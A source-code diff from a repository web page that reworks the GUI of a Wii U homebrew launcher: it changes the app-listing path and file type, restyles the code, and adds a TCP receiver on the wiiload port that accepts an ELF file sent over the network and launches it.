, CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff)
|
||||||
, filepath(file)
|
, filepath(file)
|
||||||
, bgImageColor(1280, 720, (GX2Color) {
|
, loadAddress(address)
|
||||||
0, 0, 0, 0
|
, progressWindow("Loading file...")
|
||||||
}) {
|
{
|
||||||
append(&bgImageColor);
|
append(&progressWindow);
|
||||||
|
|
||||||
|
width = progressWindow.getWidth();
|
||||||
|
height = progressWindow.getHeight();
|
||||||
}
|
}
|
||||||
void executeThread();
|
void executeThread();
|
||||||
|
|
||||||
@ -40,7 +45,8 @@ private:
|
|||||||
static void loadCallback(CThread *thread, void *arg);
|
static void loadCallback(CThread *thread, void *arg);
|
||||||
|
|
||||||
const std::string filepath;
|
const std::string filepath;
|
||||||
GuiImage bgImageColor;
|
unsigned char *loadAddress;
|
||||||
|
ProgressWindow progressWindow;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
|
@ -18,15 +18,10 @@
|
|||||||
#include "common/common.h"
|
#include "common/common.h"
|
||||||
#include "Application.h"
|
#include "Application.h"
|
||||||
#include "fs/DirList.h"
|
#include "fs/DirList.h"
|
||||||
#include "fs/FSUtils.h"
|
#include "fs/fs_utils.h"
|
||||||
#include "system/AsyncDeleter.h"
|
#include "system/AsyncDeleter.h"
|
||||||
#include "utils/HomebrewXML.h"
|
#include "utils/HomebrewXML.h"
|
||||||
#include "resources/Resources.h"
|
|
||||||
#include "utils/utils.h"
|
|
||||||
#include "utils/logger.h"
|
|
||||||
#include "HomebrewLaunchWindow.h"
|
#include "HomebrewLaunchWindow.h"
|
||||||
#include "HomebrewLoader.h"
|
|
||||||
#include <sysapp/launch.h>
|
|
||||||
|
|
||||||
#define DEFAULT_WIILOAD_PORT 4299
|
#define DEFAULT_WIILOAD_PORT 4299
|
||||||
|
|
||||||
@ -46,24 +41,25 @@ HomebrewWindow::HomebrewWindow(int w, int h)
|
|||||||
, touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH)
|
, touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH)
|
||||||
, wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)
|
, wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)
|
||||||
, buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L | GuiTrigger::BUTTON_LEFT, true)
|
, buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L | GuiTrigger::BUTTON_LEFT, true)
|
||||||
, buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R | GuiTrigger::BUTTON_RIGHT, true) {
|
, buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R | GuiTrigger::BUTTON_RIGHT, true)
|
||||||
|
, tcpReceiver(DEFAULT_WIILOAD_PORT)
|
||||||
|
{
|
||||||
|
tcpReceiver.serverReceiveStart.connect(this, &HomebrewWindow::OnTcpReceiveStart);
|
||||||
|
tcpReceiver.serverReceiveFinished.connect(this, &HomebrewWindow::OnTcpReceiveFinish);
|
||||||
|
|
||||||
targetLeftPosition = 0;
|
targetLeftPosition = 0;
|
||||||
currentLeftPosition = 0;
|
currentLeftPosition = 0;
|
||||||
listOffset = 0;
|
listOffset = 0;
|
||||||
|
|
||||||
DirList dirList("fs:/vol/external01/wiiu/apps", ".rpx", DirList::Files | DirList::CheckSubfolders, 1);
|
DirList dirList("sd:/wiiu/apps", ".elf", DirList::Files | DirList::CheckSubfolders);
|
||||||
|
|
||||||
dirList.SortList();
|
dirList.SortList();
|
||||||
|
|
||||||
for(int i = 0; i < dirList.GetFilecount(); i++) {
|
for(int i = 0; i < dirList.GetFilecount(); i++)
|
||||||
|
{
|
||||||
//! skip our own application in the listing
|
//! skip our own application in the listing
|
||||||
if(strcasecmp(dirList.GetFilename(i), "homebrew_launcher.elf") == 0)
|
//!if(strcasecmp(dirList.GetFilename(i), "homebrew_launcher.elf") == 0)
|
||||||
continue;
|
//! continue;
|
||||||
//! skip our own application in the listing
|
|
||||||
if(strcasecmp(dirList.GetFilename(i), "homebrew_launcher.rpx") == 0)
|
|
||||||
continue;
|
|
||||||
|
|
||||||
|
|
||||||
//! skip hidden linux and mac files
|
//! skip hidden linux and mac files
|
||||||
if(dirList.GetFilename(i)[0] == '.' || dirList.GetFilename(i)[0] == '_')
|
if(dirList.GetFilename(i)[0] == '.' || dirList.GetFilename(i)[0] == '_')
|
||||||
@ -82,12 +78,13 @@ HomebrewWindow::HomebrewWindow(int w, int h)
|
|||||||
if(slashPos != std::string::npos)
|
if(slashPos != std::string::npos)
|
||||||
homebrewPath.erase(slashPos);
|
homebrewPath.erase(slashPos);
|
||||||
|
|
||||||
uint8_t * iconData = NULL;
|
u8 * iconData = NULL;
|
||||||
uint32_t iconDataSize = 0;
|
u32 iconDataSize = 0;
|
||||||
|
|
||||||
FSUtils::LoadFileToMem((homebrewPath + "/icon.png").c_str(), &iconData, &iconDataSize);
|
LoadFileToMem((homebrewPath + "/icon.png").c_str(), &iconData, &iconDataSize);
|
||||||
|
|
||||||
if(iconData != NULL) {
|
if(iconData != NULL)
|
||||||
|
{
|
||||||
homebrewButtons[idx].iconImgData = new GuiImageData(iconData, iconDataSize);
|
homebrewButtons[idx].iconImgData = new GuiImageData(iconData, iconDataSize);
|
||||||
free(iconData);
|
free(iconData);
|
||||||
iconData = NULL;
|
iconData = NULL;
|
||||||
@ -107,8 +104,8 @@ HomebrewWindow::HomebrewWindow(int w, int h)
|
|||||||
const char *cpName = xmlReadSuccess ? metaXml.GetName() : homebrewButtons[idx].execPath.c_str();
|
const char *cpName = xmlReadSuccess ? metaXml.GetName() : homebrewButtons[idx].execPath.c_str();
|
||||||
const char *cpDescription = xmlReadSuccess ? metaXml.GetShortDescription() : "";
|
const char *cpDescription = xmlReadSuccess ? metaXml.GetShortDescription() : "";
|
||||||
|
|
||||||
if(strncmp(cpName, "fs:/vol/external01/wiiu/apps/", strlen("fs:/vol/external01/wiiu/apps/")) == 0)
|
if(strncmp(cpName, "sd:/wiiu/apps/", strlen("sd:/wiiu/apps/")) == 0)
|
||||||
cpName += strlen("fs:/vol/external01/wiiu/apps/");
|
cpName += strlen("sd:/wiiu/apps/");
|
||||||
|
|
||||||
homebrewButtons[idx].nameLabel = new GuiText(cpName, 32, glm::vec4(1.0f));
|
homebrewButtons[idx].nameLabel = new GuiText(cpName, 32, glm::vec4(1.0f));
|
||||||
homebrewButtons[idx].nameLabel->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);
|
homebrewButtons[idx].nameLabel->setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);
|
||||||
@ -126,8 +123,8 @@ HomebrewWindow::HomebrewWindow(int w, int h)
|
|||||||
homebrewButtons[idx].button->setLabel(homebrewButtons[idx].nameLabel, 0);
|
homebrewButtons[idx].button->setLabel(homebrewButtons[idx].nameLabel, 0);
|
||||||
homebrewButtons[idx].button->setLabel(homebrewButtons[idx].descriptionLabel, 1);
|
homebrewButtons[idx].button->setLabel(homebrewButtons[idx].descriptionLabel, 1);
|
||||||
homebrewButtons[idx].button->setIcon(homebrewButtons[idx].iconImg);
|
homebrewButtons[idx].button->setIcon(homebrewButtons[idx].iconImg);
|
||||||
float fXOffset = (idx / MAX_BUTTONS_ON_PAGE) * width;
|
float fXOffset = (i / MAX_BUTTONS_ON_PAGE) * width;
|
||||||
float fYOffset = (homebrewButtons[idx].image->getHeight() + 20.0f) * 1.5f - (homebrewButtons[idx].image->getHeight() + 20) * (idx % MAX_BUTTONS_ON_PAGE);
|
float fYOffset = (homebrewButtons[idx].image->getHeight() + 20.0f) * 1.5f - (homebrewButtons[idx].image->getHeight() + 20) * (i % MAX_BUTTONS_ON_PAGE);
|
||||||
homebrewButtons[idx].button->setPosition(currentLeftPosition + fXOffset, fYOffset);
|
homebrewButtons[idx].button->setPosition(currentLeftPosition + fXOffset, fYOffset);
|
||||||
homebrewButtons[idx].button->setTrigger(&touchTrigger);
|
homebrewButtons[idx].button->setTrigger(&touchTrigger);
|
||||||
homebrewButtons[idx].button->setTrigger(&wpadTouchTrigger);
|
homebrewButtons[idx].button->setTrigger(&wpadTouchTrigger);
|
||||||
@ -139,7 +136,8 @@ HomebrewWindow::HomebrewWindow(int w, int h)
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
if((MAX_BUTTONS_ON_PAGE) < homebrewButtons.size()) {
|
if((MAX_BUTTONS_ON_PAGE) < homebrewButtons.size())
|
||||||
|
{
|
||||||
arrowLeftButton.setImage(&arrowLeftImage);
|
arrowLeftButton.setImage(&arrowLeftImage);
|
||||||
arrowLeftButton.setEffectGrow();
|
arrowLeftButton.setEffectGrow();
|
||||||
arrowLeftButton.setPosition(40, 0);
|
arrowLeftButton.setPosition(40, 0);
|
||||||
@ -167,8 +165,10 @@ HomebrewWindow::HomebrewWindow(int w, int h)
|
|||||||
append(&hblVersionText);
|
append(&hblVersionText);
|
||||||
}
|
}
|
||||||
|
|
||||||
HomebrewWindow::~HomebrewWindow() {
|
HomebrewWindow::~HomebrewWindow()
|
||||||
for(uint32_t i = 0; i < homebrewButtons.size(); ++i) {
|
{
|
||||||
|
for(u32 i = 0; i < homebrewButtons.size(); ++i)
|
||||||
|
{
|
||||||
delete homebrewButtons[i].image;
|
delete homebrewButtons[i].image;
|
||||||
delete homebrewButtons[i].nameLabel;
|
delete homebrewButtons[i].nameLabel;
|
||||||
delete homebrewButtons[i].descriptionLabel;
|
delete homebrewButtons[i].descriptionLabel;
|
||||||
@ -183,33 +183,40 @@ HomebrewWindow::~HomebrewWindow() {
|
|||||||
Resources::RemoveImageData(arrowLeftImageData);
|
Resources::RemoveImageData(arrowLeftImageData);
|
||||||
}
|
}
|
||||||
|
|
||||||
void HomebrewWindow::OnOpenEffectFinish(GuiElement *element) {
|
void HomebrewWindow::OnOpenEffectFinish(GuiElement *element)
|
||||||
|
{
|
||||||
//! once the menu is open reset its state and allow it to be "clicked/hold"
|
//! once the menu is open reset its state and allow it to be "clicked/hold"
|
||||||
element->effectFinished.disconnect(this);
|
element->effectFinished.disconnect(this);
|
||||||
element->clearState(GuiElement::STATE_DISABLED);
|
element->clearState(GuiElement::STATE_DISABLED);
|
||||||
}
|
}
|
||||||
|
|
||||||
void HomebrewWindow::OnCloseEffectFinish(GuiElement *element) {
|
void HomebrewWindow::OnCloseEffectFinish(GuiElement *element)
|
||||||
|
{
|
||||||
//! remove element from draw list and push to delete queue
|
//! remove element from draw list and push to delete queue
|
||||||
remove(element);
|
remove(element);
|
||||||
AsyncDeleter::pushForDelete(element);
|
AsyncDeleter::pushForDelete(element);
|
||||||
|
|
||||||
for(uint32_t i = 0; i < homebrewButtons.size(); i++) {
|
for(u32 i = 0; i < homebrewButtons.size(); i++)
|
||||||
|
{
|
||||||
homebrewButtons[i].button->clearState(GuiElement::STATE_DISABLED);
|
homebrewButtons[i].button->clearState(GuiElement::STATE_DISABLED);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void HomebrewWindow::OnLaunchBoxCloseClick(GuiElement *element) {
|
void HomebrewWindow::OnLaunchBoxCloseClick(GuiElement *element)
|
||||||
|
{
|
||||||
element->setState(GuiElement::STATE_DISABLED);
|
element->setState(GuiElement::STATE_DISABLED);
|
||||||
element->setEffect(EFFECT_FADE, -10, 0);
|
element->setEffect(EFFECT_FADE, -10, 0);
|
||||||
element->effectFinished.connect(this, &HomebrewWindow::OnCloseEffectFinish);
|
element->effectFinished.connect(this, &HomebrewWindow::OnCloseEffectFinish);
|
||||||
}
|
}
|
||||||
|
|
||||||
void HomebrewWindow::OnHomebrewButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) {
|
void HomebrewWindow::OnHomebrewButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)
|
||||||
|
{
|
||||||
bool disableButtons = false;
|
bool disableButtons = false;
|
||||||
|
|
||||||
for(uint32_t i = 0; i < homebrewButtons.size(); i++) {
|
for(u32 i = 0; i < homebrewButtons.size(); i++)
|
||||||
if(button == homebrewButtons[i].button) {
|
{
|
||||||
|
if(button == homebrewButtons[i].button)
|
||||||
|
{
|
||||||
HomebrewLaunchWindow * launchBox = new HomebrewLaunchWindow(homebrewButtons[i].execPath, homebrewButtons[i].iconImgData);
|
HomebrewLaunchWindow * launchBox = new HomebrewLaunchWindow(homebrewButtons[i].execPath, homebrewButtons[i].iconImgData);
|
||||||
launchBox->setEffect(EFFECT_FADE, 10, 255);
|
launchBox->setEffect(EFFECT_FADE, 10, 255);
|
||||||
launchBox->setState(GuiElement::STATE_DISABLED);
|
launchBox->setState(GuiElement::STATE_DISABLED);
|
||||||
@ -223,15 +230,19 @@ void HomebrewWindow::OnHomebrewButtonClick(GuiButton *button, const GuiControlle
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
if(disableButtons) {
|
if(disableButtons)
|
||||||
for(uint32_t i = 0; i < homebrewButtons.size(); i++) {
|
{
|
||||||
|
for(u32 i = 0; i < homebrewButtons.size(); i++)
|
||||||
|
{
|
||||||
homebrewButtons[i].button->setState(GuiElement::STATE_DISABLED);
|
homebrewButtons[i].button->setState(GuiElement::STATE_DISABLED);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void HomebrewWindow::OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) {
|
void HomebrewWindow::OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)
|
||||||
if(listOffset > 0) {
|
{
|
||||||
|
if(listOffset > 0)
|
||||||
|
{
|
||||||
listOffset--;
|
listOffset--;
|
||||||
targetLeftPosition = -listOffset * getWidth();
|
targetLeftPosition = -listOffset * getWidth();
|
||||||
|
|
||||||
@ -241,8 +252,10 @@ void HomebrewWindow::OnLeftArrowClick(GuiButton *button, const GuiController *co
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void HomebrewWindow::OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) {
|
void HomebrewWindow::OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)
|
||||||
if((listOffset * MAX_BUTTONS_ON_PAGE) < (int)homebrewButtons.size()) {
|
{
|
||||||
|
if((listOffset * MAX_BUTTONS_ON_PAGE) < (int)homebrewButtons.size())
|
||||||
|
{
|
||||||
listOffset++;
|
listOffset++;
|
||||||
targetLeftPosition = -listOffset * getWidth();
|
targetLeftPosition = -listOffset * getWidth();
|
||||||
|
|
||||||
@ -253,17 +266,21 @@ void HomebrewWindow::OnRightArrowClick(GuiButton *button, const GuiController *c
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void HomebrewWindow::draw(CVideo *pVideo) {
|
void HomebrewWindow::draw(CVideo *pVideo)
|
||||||
|
{
|
||||||
bool bUpdatePositions = false;
|
bool bUpdatePositions = false;
|
||||||
|
|
||||||
if(currentLeftPosition < targetLeftPosition) {
|
if(currentLeftPosition < targetLeftPosition)
|
||||||
|
{
|
||||||
currentLeftPosition += 35;
|
currentLeftPosition += 35;
|
||||||
|
|
||||||
if(currentLeftPosition > targetLeftPosition)
|
if(currentLeftPosition > targetLeftPosition)
|
||||||
currentLeftPosition = targetLeftPosition;
|
currentLeftPosition = targetLeftPosition;
|
||||||
|
|
||||||
bUpdatePositions = true;
|
bUpdatePositions = true;
|
||||||
} else if(currentLeftPosition > targetLeftPosition) {
|
}
|
||||||
|
else if(currentLeftPosition > targetLeftPosition)
|
||||||
|
{
|
||||||
currentLeftPosition -= 35;
|
currentLeftPosition -= 35;
|
||||||
|
|
||||||
if(currentLeftPosition < targetLeftPosition)
|
if(currentLeftPosition < targetLeftPosition)
|
||||||
@ -272,10 +289,12 @@ void HomebrewWindow::draw(CVideo *pVideo) {
|
|||||||
bUpdatePositions = true;
|
bUpdatePositions = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
if(bUpdatePositions) {
|
if(bUpdatePositions)
|
||||||
|
{
|
||||||
bUpdatePositions = false;
|
bUpdatePositions = false;
|
||||||
|
|
||||||
for(uint32_t i = 0; i < homebrewButtons.size(); i++) {
|
for(u32 i = 0; i < homebrewButtons.size(); i++)
|
||||||
|
{
|
||||||
float fXOffset = (i / MAX_BUTTONS_ON_PAGE) * getWidth();
|
float fXOffset = (i / MAX_BUTTONS_ON_PAGE) * getWidth();
|
||||||
float fYOffset = (homebrewButtons[i].image->getHeight() + 20.0f) * 1.5f - (homebrewButtons[i].image->getHeight() + 20) * (i % MAX_BUTTONS_ON_PAGE);
|
float fYOffset = (homebrewButtons[i].image->getHeight() + 20.0f) * 1.5f - (homebrewButtons[i].image->getHeight() + 20) * (i % MAX_BUTTONS_ON_PAGE);
|
||||||
homebrewButtons[i].button->setPosition(currentLeftPosition + fXOffset, fYOffset);
|
homebrewButtons[i].button->setPosition(currentLeftPosition + fXOffset, fYOffset);
|
||||||
@ -284,3 +303,37 @@ void HomebrewWindow::draw(CVideo *pVideo) {
|
|||||||
|
|
||||||
GuiFrame::draw(pVideo);
|
GuiFrame::draw(pVideo);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void HomebrewWindow::OnCloseTcpReceiverFinish(GuiElement *element)
|
||||||
|
{
|
||||||
|
//! remove element from draw list and push to delete queue
|
||||||
|
remove(element);
|
||||||
|
clearState(STATE_DISABLED);
|
||||||
|
}
|
||||||
|
|
||||||
|
void HomebrewWindow::OnTcpReceiveStart(GuiElement *element, u32 ip)
|
||||||
|
{
|
||||||
|
setState(STATE_DISABLED);
|
||||||
|
|
||||||
|
element->setEffect(EFFECT_FADE, 15, 255);
|
||||||
|
element->effectFinished.connect(this, &HomebrewWindow::OnOpenEffectFinish);
|
||||||
|
append(element);
|
||||||
|
}
|
||||||
|
|
||||||
|
void HomebrewWindow::OnTcpReceiveFinish(GuiElement *element, u32 ip, int result)
|
||||||
|
{
|
||||||
|
element->setState(GuiElement::STATE_DISABLED);
|
||||||
|
element->setEffect(EFFECT_FADE, -10, 0);
|
||||||
|
element->effectFinished.connect(this, &HomebrewWindow::OnCloseTcpReceiverFinish);
|
||||||
|
|
||||||
|
if(result > 0)
|
||||||
|
{
|
||||||
|
u32 ApplicationMemoryEnd;
|
||||||
|
asm volatile("lis %0, __CODE_END@h; ori %0, %0, __CODE_END@l" : "=r" (ApplicationMemoryEnd));
|
||||||
|
|
||||||
|
ELF_DATA_ADDR = ApplicationMemoryEnd;
|
||||||
|
ELF_DATA_SIZE = result;
|
||||||
|
Application::instance()->quit(EXIT_SUCCESS);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@ -19,8 +19,10 @@
|
|||||||
|
|
||||||
#include "gui/Gui.h"
|
#include "gui/Gui.h"
|
||||||
#include "gui/GuiFrame.h"
|
#include "gui/GuiFrame.h"
|
||||||
|
#include "TcpReceiver.h"
|
||||||
|
|
||||||
class HomebrewWindow : public GuiFrame, public sigslot::has_slots<> {
|
class HomebrewWindow : public GuiFrame, public sigslot::has_slots<>
|
||||||
|
{
|
||||||
public:
|
public:
|
||||||
HomebrewWindow(int w, int h);
|
HomebrewWindow(int w, int h);
|
||||||
virtual ~HomebrewWindow();
|
virtual ~HomebrewWindow();
|
||||||
@ -35,6 +37,10 @@ private:
|
|||||||
void OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);
|
void OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);
|
||||||
void OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);
|
void OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);
|
||||||
|
|
||||||
|
void OnCloseTcpReceiverFinish(GuiElement *element);
|
||||||
|
void OnTcpReceiveStart(GuiElement *element, u32 ip);
|
||||||
|
void OnTcpReceiveFinish(GuiElement *element, u32 ip, int result);
|
||||||
|
|
||||||
GuiSound *buttonClickSound;
|
GuiSound *buttonClickSound;
|
||||||
GuiImageData * homebrewButtonImgData;
|
GuiImageData * homebrewButtonImgData;
|
||||||
|
|
||||||
@ -46,7 +52,8 @@ private:
|
|||||||
GuiButton arrowLeftButton;
|
GuiButton arrowLeftButton;
|
||||||
GuiText hblVersionText;
|
GuiText hblVersionText;
|
||||||
|
|
||||||
typedef struct {
|
typedef struct
|
||||||
|
{
|
||||||
std::string execPath;
|
std::string execPath;
|
||||||
GuiImage *image;
|
GuiImage *image;
|
||||||
GuiButton *button;
|
GuiButton *button;
|
||||||
@ -64,6 +71,8 @@ private:
|
|||||||
int listOffset;
|
int listOffset;
|
||||||
int currentLeftPosition;
|
int currentLeftPosition;
|
||||||
int targetLeftPosition;
|
int targetLeftPosition;
|
||||||
|
|
||||||
|
TcpReceiver tcpReceiver;
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif //_HOMEBREW_WINDOW_H_
|
#endif //_HOMEBREW_WINDOW_H_
|
||||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user